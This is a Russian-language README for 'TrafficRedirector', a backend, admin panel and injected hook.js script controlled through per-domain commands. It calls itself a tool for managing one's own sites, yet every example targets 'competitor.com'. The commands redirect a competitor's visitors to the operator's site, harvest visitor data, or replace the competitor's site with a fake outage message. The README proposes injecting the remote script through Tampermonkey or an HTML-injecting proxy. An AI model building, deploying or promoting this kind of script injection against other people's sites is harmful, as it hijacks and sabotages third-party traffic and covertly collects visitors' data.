Полнофункциональная система для управления редиректами и мониторинга клиентов.
TrafficRedirector — это связка из трёх компонентов:
- Back-end (FastAPI + SQLite) — хранит команды для доменов, аутентифицирует пользователей и принимает отчёты от клиентского скрипта.
- Front-end (Express.js) — админ-панель, через которую вы создаёте, включаете/отключаете и удаляете команды, а также просматриваете статистику и отчёты.
- Hook (
hook.js) — лёгкий клиентский скрипт, который подключается на целевой странице и на основании команд с бэкенда выполняет нужное действие (редирект, сбор информации, отключение сайта и т.д.).
Проект удобен для сценариев, где нужно централизованно управлять поведением собственных сайтов/лендингов без их передеплоя: включить редирект, временно отключить страницу или собрать статистику по посетителям — всё меняется на лету через панель управления.
TrafficRedirector/
├── Back-end/ # FastAPI Backend (Python)
│ ├── auth.py # Аутентификация и JWT
│ ├── config.py # Настройки
│ ├── db.py # База данных SQLite
│ ├── main.py # Основное API
│ ├── models.py # Модели данных
│ ├── requirements.txt # Python зависимости
│ └── data/ # База данных (создается автоматически)
│
├── Front-end/ # Express.js Frontend
│ ├── app.js # Proxy сервер
│ ├── dashboard_new.html # Админ-панель
│ ├── dashboard_new.js # Логика панели
│ ├── index.html # Главная страница
│ ├── login.html # Вход
│ ├── register.html # Регистрация
│ ├── style.css # Стили
│ ├── hook.js # hook.js для раздачи
│ └── package.json # Node.js зависимости
│
├── Hook/ # Клиентский скрипт
│ ├── hook.js # Основной скрипт
│ └── example.html # Пример использования
│
└── Документация/
├── README.md # Этот файл
├── QUICKSTART.md # Быстрый старт
├── INSTALLATION.md # Подробная установка
├── API_EXAMPLES.md # Примеры API
├── TROUBLESHOOTING.md # Решение проблем
├── CHANGES.md # Список изменений
├── FILES_DESCRIPTION.md # Описание файлов
└── LICENSE # Лицензия MIT
cd Back-end
pip install -r requirements.txtcd Front-end
npm installСоздайте .env файл в директории Back-end:
SECRET_KEY=your-secret-key-here-min-32-chars
DATABASE_URL=sqlite:///./data/users.db
FRONTEND_ORIGINS=http://localhost:3000,http://localhost:5173
COOKIE_SECURE=False
ACCESS_TOKEN_EXPIRE_SECONDS=604800
PORT=8000
DEBUG=Falsecd Back-end
uvicorn main:app --host 0.0.0.0 --port 8000 --reloadcd Front-end
node app.js- Admin Dashboard: http://localhost:3000/dashboard_new.html
- API: http://localhost:8000
- Docs: http://localhost:8000/docs
- Откройте http://localhost:3000/register.html
- Создайте аккаунт
- Войдите в систему
В админ-панели:
- Нажмите "+ Добавить команду"
- Заполните форму:
- Домен:
competitor.com(домен целевого сайта) - Действие: Выберите тип действия
- Дополнительные поля: В зависимости от действия
- Домен:
a) Redirect (Редирект)
- Перенаправляет всех посетителей на ваш сайт
- Требует: URL цели
b) Check Info (Сбор информации)
- Собирает данные о посетителях (User-Agent, Referrer)
- Данные сохраняются в разделе "Отчеты"
c) Disable Site (Отключить сайт)
- Показывает сообщение вместо сайта
- Требует: Текст сообщения
d) Conditional Redirect (Условный редирект)
- Редиректит только если условие выполнено
- Требует: URL цели + условие (например, referrer)
<script src="http://your-server.com/hook.js"></script>Используйте расширение типа "Tampermonkey" для автоматического внедрения скрипта.
Настройте прокси-сервер для автоматической инъекции скрипта в HTML.
В админ-панели:
- Статистика: Общее количество команд, активных команд, отчетов
- Таблица команд: Список всех команд с возможностью управления
- Отчеты: Последние отчеты от клиентов с деталями
POST /api/register
POST /api/login
POST /api/commands # Проверка команд для домена
POST /api/commands/info # Отправка отчета от клиента
GET /api/me
POST /api/logout
GET /api/admin/commands # Список всех команд
POST /api/admin/commands # Создать команду
DELETE /api/admin/commands/{id} # Удалить команду
GET /api/admin/reports # Список отчетов от клиентов
{
"domain": "competitor.com",
"action": "redirect",
"target": "https://your-site.com",
"active": true
}{
"domain": "competitor.com",
"action": "conditional_redirect",
"target": "https://your-site.com",
"condition": {
"referrer": "google.com"
},
"active": true
}{
"domain": "competitor.com",
"action": "disable_site",
"message": "Сайт временно недоступен",
"active": true
}{
"domain": "competitor.com",
"action": "check_info",
"active": true
}project/
├── backend/
│ ├── main.py # Основное API
│ ├── auth.py # Аутентификация
│ ├── models.py # Модели БД
│ ├── db.py # Подключение к БД
│ ├── config.py # Настройки
│ ├── requirements.txt # Зависимости Python
│ └── data/
│ └── users.db # База данных SQLite
│
├── frontend/
│ ├── app.js # Express прокси-сервер
│ ├── dashboard_new.html # Админ-панель
│ ├── dashboard_new.js # Логика панели
│ ├── style.css # Стили
│ ├── index.html # Главная страница
│ ├── login.html # Страница входа
│ ├── register.html # Страница регистрации
│ └── package.json # Зависимости Node.js
│
└── client/
├── hook.js # Клиентский скрипт
└── index.html # Пример внедрения
- SECRET_KEY: Используйте криптостойкий ключ минимум 32 символа
- COOKIE_SECURE: Установите
Trueдля HTTPS - CORS: Ограничьте список разрешенных origins
- Rate Limiting: Добавьте ограничение запросов на /api/login
- HTTPS: Обязательно используйте SSL/TLS
- Firewall: Ограничьте доступ к backend только с frontend IP
В main.py:
app.add_middleware(
CORSMiddleware,
allow_origins=settings.origins_list, # Вместо ["*"]
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)В .env:
SECRET_KEY=generate-strong-key-with-secrets-token-urlsafe
COOKIE_SECURE=True
DEBUG=False
FRONTEND_ORIGINS=https://yourdomain.com# Проверьте установку зависимостей
pip install -r requirements.txt
# Проверьте порт
lsof -i :8000
# Проверьте логи
python main.py- Проверьте
API_TARGETвapp.js - Убедитесь что backend запущен на правильном порту
- Проверьте CORS настройки в
main.py
- Проверьте
serverUrlвhook.js - Убедитесь что скрипт корректно внедрен в HTML
- Проверьте консоль браузера на ошибки
- Убедитесь что домен в команде совпадает с
window.location.hostname
# Создайте директорию вручную
mkdir -p backend/data
# Проверьте права доступа
chmod 755 backend/data- Обновите
hook.js:
case 'your_new_action':
// Ваш код
break;- Обновите
dashboard_new.html:
<option value="your_new_action">Название действия</option>- Обновите логику отображения полей в
dashboard_new.js
MIT License
My Redirector Team
